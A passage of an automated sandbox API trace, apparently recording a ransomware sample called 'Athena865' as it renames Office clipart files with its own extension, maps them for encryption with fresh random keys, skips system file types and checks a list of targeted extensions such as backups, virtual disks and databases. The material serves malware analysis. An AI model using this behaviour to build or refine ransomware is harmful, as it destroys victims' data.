returned 1 [0128.802] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.802] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a00, lpName=0x0) returned 0x154 [0128.803] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a00) returned 0x100000 [0128.804] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.805] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.805] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.805] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239079.WMF" | out: lpString1="J0239079.WMF") returned="J0239079.WMF" [0128.805] lstrlenW (lpString="J0239079.WMF") returned 12 [0128.805] lstrlenW (lpString="Athena865") returned 9 [0128.805] lstrcmpiW (lpString1="39079.WMF", lpString2="Athena865") returned -1 [0128.806] lstrlenW (lpString=".dll") returned 4 [0128.806] lstrcmpiW (lpString1="J0239079.WMF", lpString2=".dll") returned 1 [0128.806] lstrlenW (lpString=".lnk") returned 4 [0128.806] lstrcmpiW (lpString1="J0239079.WMF", lpString2=".lnk") returned 1 [0128.806] lstrlenW (lpString=".ini") returned 4 [0128.806] lstrcmpiW (lpString1="J0239079.WMF", lpString2=".ini") returned 1 [0128.806] lstrlenW (lpString=".sys") returned 4 [0128.806] lstrcmpiW (lpString1="J0239079.WMF", lpString2=".sys") returned 1 [0128.806] lstrlenW (lpString="J0239079.WMF") returned 12 [0128.806] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.Athena865") returned 73 [0128.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.athena865"), dwFlags=0x1) returned 1 [0128.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.807] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4756) returned 1 [0128.807] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.808] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.808] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.808] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15a0, lpName=0x0) returned 0x154 [0128.810] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15a0) returned 0x100000 [0128.811] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.811] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.811] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.812] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239191.WMF" | out: lpString1="J0239191.WMF") returned="J0239191.WMF" [0128.812] lstrlenW (lpString="J0239191.WMF") returned 12 [0128.812] lstrlenW (lpString="Athena865") returned 9 [0128.812] lstrcmpiW (lpString1="39191.WMF", lpString2="Athena865") returned -1 [0128.812] lstrlenW (lpString=".dll") returned 4 [0128.812] lstrcmpiW (lpString1="J0239191.WMF", lpString2=".dll") returned 1 [0128.812] lstrlenW (lpString=".lnk") returned 4 [0128.812] lstrcmpiW (lpString1="J0239191.WMF", lpString2=".lnk") returned 1 [0128.812] lstrlenW (lpString=".ini") returned 4 [0128.812] lstrcmpiW (lpString1="J0239191.WMF", lpString2=".ini") returned 1 [0128.812] lstrlenW (lpString=".sys") returned 4 [0128.812] lstrcmpiW (lpString1="J0239191.WMF", lpString2=".sys") returned 1 [0128.812] lstrlenW (lpString="J0239191.WMF") returned 12 [0128.812] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.Athena865") returned 73 [0128.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.athena865"), dwFlags=0x1) returned 1 [0128.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.814] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5220) returned 1 [0128.814] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.815] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.815] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.815] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1770, lpName=0x0) returned 0x154 [0128.817] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1770) returned 0x100000 [0128.818] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.819] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.819] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.820] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239611.WMF" | out: lpString1="J0239611.WMF") returned="J0239611.WMF" [0128.820] lstrlenW (lpString="J0239611.WMF") returned 12 [0128.820] lstrlenW (lpString="Athena865") returned 9 [0128.820] lstrcmpiW (lpString1="39611.WMF", lpString2="Athena865") returned -1 [0128.820] lstrlenW (lpString=".dll") returned 4 [0128.820] lstrcmpiW (lpString1="J0239611.WMF", lpString2=".dll") returned 1 [0128.820] lstrlenW (lpString=".lnk") returned 4 [0128.820] lstrcmpiW (lpString1="J0239611.WMF", lpString2=".lnk") returned 1 [0128.820] lstrlenW (lpString=".ini") returned 4 [0128.820] lstrcmpiW (lpString1="J0239611.WMF", lpString2=".ini") returned 1 [0128.820] lstrlenW (lpString=".sys") returned 4 [0128.820] lstrcmpiW (lpString1="J0239611.WMF", lpString2=".sys") returned 1 [0128.820] lstrlenW (lpString="J0239611.WMF") returned 12 [0128.820] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.Athena865") returned 73 [0128.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.athena865"), dwFlags=0x1) returned 1 [0128.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.821] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33828) returned 1 [0128.822] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.822] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.822] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.823] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8730, lpName=0x0) returned 0x154 [0128.824] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8730) returned 0x100000 [0128.826] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.827] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.827] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.828] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239935.WMF" | out: lpString1="J0239935.WMF") returned="J0239935.WMF" [0128.828] lstrlenW (lpString="J0239935.WMF") returned 12 [0128.828] lstrlenW (lpString="Athena865") returned 9 [0128.828] lstrcmpiW (lpString1="39935.WMF", lpString2="Athena865") returned -1 [0128.828] lstrlenW (lpString=".dll") returned 4 [0128.828] lstrcmpiW (lpString1="J0239935.WMF", lpString2=".dll") returned 1 [0128.828] lstrlenW (lpString=".lnk") returned 4 [0128.828] lstrcmpiW (lpString1="J0239935.WMF", lpString2=".lnk") returned 1 [0128.828] lstrlenW (lpString=".ini") returned 4 [0128.828] lstrcmpiW (lpString1="J0239935.WMF", lpString2=".ini") returned 1 [0128.828] lstrlenW (lpString=".sys") returned 4 [0128.828] lstrcmpiW (lpString1="J0239935.WMF", lpString2=".sys") returned 1 [0128.828] lstrlenW (lpString="J0239935.WMF") returned 12 [0128.829] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.Athena865") returned 73 [0128.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.athena865"), dwFlags=0x1) returned 1 [0128.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.830] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4884) returned 1 [0128.831] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.831] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.831] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.832] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1620, lpName=0x0) returned 0x154 [0128.833] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1620) returned 0x100000 [0128.836] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.837] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.837] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.837] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239941.WMF" | out: lpString1="J0239941.WMF") returned="J0239941.WMF" [0128.837] lstrlenW (lpString="J0239941.WMF") returned 12 [0128.837] lstrlenW (lpString="Athena865") returned 9 [0128.837] lstrcmpiW (lpString1="39941.WMF", lpString2="Athena865") returned -1 [0128.837] lstrlenW (lpString=".dll") returned 4 [0128.837] lstrcmpiW (lpString1="J0239941.WMF", lpString2=".dll") returned 1 [0128.837] lstrlenW (lpString=".lnk") returned 4 [0128.837] lstrcmpiW (lpString1="J0239941.WMF", lpString2=".lnk") returned 1 [0128.837] lstrlenW (lpString=".ini") returned 4 [0128.837] lstrcmpiW (lpString1="J0239941.WMF", lpString2=".ini") returned 1 [0128.837] lstrlenW (lpString=".sys") returned 4 [0128.838] lstrcmpiW (lpString1="J0239941.WMF", lpString2=".sys") returned 1 [0128.838] lstrlenW (lpString="J0239941.WMF") returned 12 [0128.838] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.Athena865") returned 73 [0128.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.athena865"), dwFlags=0x1) returned 1 [0128.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.839] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5144) returned 1 [0128.839] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.840] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.840] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.840] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1720, lpName=0x0) returned 0x154 [0128.842] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1720) returned 0x100000 [0128.843] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.844] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.844] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.844] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239943.WMF" | out: lpString1="J0239943.WMF") returned="J0239943.WMF" [0128.844] lstrlenW (lpString="J0239943.WMF") returned 12 [0128.844] lstrlenW (lpString="Athena865") returned 9 [0128.844] lstrcmpiW (lpString1="39943.WMF", lpString2="Athena865") returned -1 [0128.844] lstrlenW (lpString=".dll") returned 4 [0128.844] lstrcmpiW (lpString1="J0239943.WMF", lpString2=".dll") returned 1 [0128.844] lstrlenW (lpString=".lnk") returned 4 [0128.844] lstrcmpiW (lpString1="J0239943.WMF", lpString2=".lnk") returned 1 [0128.845] lstrlenW (lpString=".ini") returned 4 [0128.845] lstrcmpiW (lpString1="J0239943.WMF", lpString2=".ini") returned 1 [0128.845] lstrlenW (lpString=".sys") returned 4 [0128.845] lstrcmpiW (lpString1="J0239943.WMF", lpString2=".sys") returned 1 [0128.845] lstrlenW (lpString="J0239943.WMF") returned 12 [0128.845] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.Athena865") returned 73 [0128.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.athena865"), dwFlags=0x1) returned 1 [0128.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.846] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6552) returned 1 [0128.846] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.847] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.847] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.847] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ca0, lpName=0x0) returned 0x154 [0128.848] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ca0) returned 0x100000 [0128.850] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.851] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.851] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.851] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239951.WMF" | out: lpString1="J0239951.WMF") returned="J0239951.WMF" [0128.851] lstrlenW (lpString="J0239951.WMF") returned 12 [0128.851] lstrlenW (lpString="Athena865") returned 9 [0128.851] lstrcmpiW (lpString1="39951.WMF", lpString2="Athena865") returned -1 [0128.851] lstrlenW (lpString=".dll") returned 4 [0128.851] lstrcmpiW (lpString1="J0239951.WMF", lpString2=".dll") returned 1 [0128.851] lstrlenW (lpString=".lnk") returned 4 [0128.851] lstrcmpiW (lpString1="J0239951.WMF", lpString2=".lnk") returned 1 [0128.852] lstrlenW (lpString=".ini") returned 4 [0128.852] lstrcmpiW (lpString1="J0239951.WMF", lpString2=".ini") returned 1 [0128.852] lstrlenW (lpString=".sys") returned 4 [0128.852] lstrcmpiW (lpString1="J0239951.WMF", lpString2=".sys") returned 1 [0128.852] lstrlenW (lpString="J0239951.WMF") returned 12 [0128.852] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.Athena865") returned 73 [0128.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.athena865"), dwFlags=0x1) returned 1 [0128.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.855] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7232) returned 1 [0128.855] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.856] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.856] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.856] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f40, lpName=0x0) returned 0x154 [0128.859] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f40) returned 0x100000 [0128.861] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.864] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.864] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.872] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.874] CloseHandle (hObject=0x154) returned 1 [0128.874] CloseHandle (hObject=0x17c) returned 1 [0128.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.876] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1 [0128.876] lstrcmpiW (lpString1="J0239953.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.876] lstrcmpiW (lpString1="J0239953.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.876] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0239953.WMF" | out: lpString1="J0239953.WMF") returned="J0239953.WMF" [0128.876] lstrlenW (lpString="J0239953.WMF") returned 12 [0128.876] lstrlenW (lpString="Athena865") returned 9 [0128.876] lstrcmpiW (lpString1="39953.WMF", lpString2="Athena865") returned -1 [0128.876] lstrlenW (lpString=".dll") returned 4 [0128.876] lstrcmpiW (lpString1="J0239953.WMF", lpString2=".dll") returned 1 [0128.876] lstrlenW (lpString=".lnk") returned 4 [0128.876] lstrcmpiW (lpString1="J0239953.WMF", lpString2=".lnk") returned 1 [0128.877] lstrlenW (lpString=".ini") returned 4 [0128.877] lstrcmpiW (lpString1="J0239953.WMF", lpString2=".ini") returned 1 [0128.877] lstrlenW (lpString=".sys") returned 4 [0128.877] lstrcmpiW (lpString1="J0239953.WMF", lpString2=".sys") returned 1 [0128.877] lstrlenW (lpString="J0239953.WMF") returned 12 [0128.877] lstrlenW (lpString="bak") returned 3 [0128.877] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.877] lstrlenW (lpString="ba_") returned 3 [0128.877] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.877] lstrlenW (lpString="dbb") returned 3 [0128.877] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.877] lstrlenW (lpString="vmdk") returned 4 [0128.877] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.877] lstrlenW (lpString="rar") returned 3 [0128.877] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.877] lstrlenW (lpString="zip") returned 3 [0128.877] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.877] lstrlenW (lpString="tgz") returned 3 [0128.877] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.877] lstrlenW (lpString="vbox") returned 4 [0128.877] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.877] lstrlenW (lpString="vdi") returned 3 [0128.877] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.877] lstrlenW (lpString="vhd") returned 3 [0128.877] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.877] lstrlenW (lpString="vhdx") returned 4 [0128.877] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.878] lstrlenW (lpString="avhd") returned 4 [0128.878] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.878] lstrlenW (lpString="db") returned 2 [0128.878] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.878] lstrlenW (lpString="db2") returned 3 [0128.878] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.878] lstrlenW (lpString="db3") returned 3 [0128.878] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.878] lstrlenW (lpString="dbf") returned 3 [0128.878] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 